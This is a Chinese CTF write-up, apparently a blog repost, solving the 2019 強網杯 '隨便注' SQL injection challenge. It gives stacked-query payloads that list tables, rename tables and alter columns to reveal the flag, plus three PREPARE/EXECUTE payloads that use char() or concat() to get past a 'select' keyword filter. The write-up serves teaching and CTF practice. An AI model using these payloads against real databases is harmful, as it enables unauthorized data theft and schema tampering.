1. 程式人生 > 實用技巧 >CTF[2019 強網杯]隨便注.

CTF[2019 強網杯]隨便注.

照例and or測試一下

發現表裡所有資料,但沒有flag

嘗試一下堆疊注入

可以用堆疊注入,接著看錶

發現兩個表,看看words

1';desc words;#

發現這個查詢可能是在words這個表進行的。

但是沒有flag

看看1919810931114514這個

注意:數字表名要用反引號。`1919810931114514`

1';desc `1919810931114514`;#

看看select有沒有被過濾

過濾了,union那些也用不了

想到剛才發現words表,又可以堆疊查詢,所以試試能不能改表名

把words改成words1,然後把1919810931114514改成words,再把列名flag改成id,結合上面的1' or 1=1#爆出表所有內容就可以得到flag

1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#

再試一次1' or 1=1#

成功獲得flag

然後這裡可用第二種方法,sql預處理

PREPARE name from '[my sql sequece]';   //預定義SQL語句
EXECUTE name;  //執行預定義SQL語句
(
DEALLOCATE || DROP) PREPARE name; //刪除預定義SQL 語句

預處理也可以傳遞變數

SET @tn = 'hahaha';  //儲存表名
SET @sql = concat('select * from ', @tn);  //儲存SQL語句
PREPARE name from @sql;   //預定義SQL語句
EXECUTE name;  //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE sqla;  //刪除預定義SQL語句

這裡可利用 char() 函式將select的ASCII碼轉換為select字串,接著利用concat()函式進行拼接得到select查詢語句,從而繞過過濾。或者直接用concat()函式拼接select來繞過。

char(115,101,108,101,99,116)<----->select

payload1:不用變數

1';PREPARE du1ge from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE du1ge;#

payload2:用變數

1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE du1ge from @sqli;EXECUTE du1ge;#

payload3:不用char

1';PREPARE du1ge from concat('s','elect', ' * from `1919810931114514` ');EXECUTE du1ge;#

但事實上堆疊注入可作用的情況比較少

不過這題還是可以學到很多的。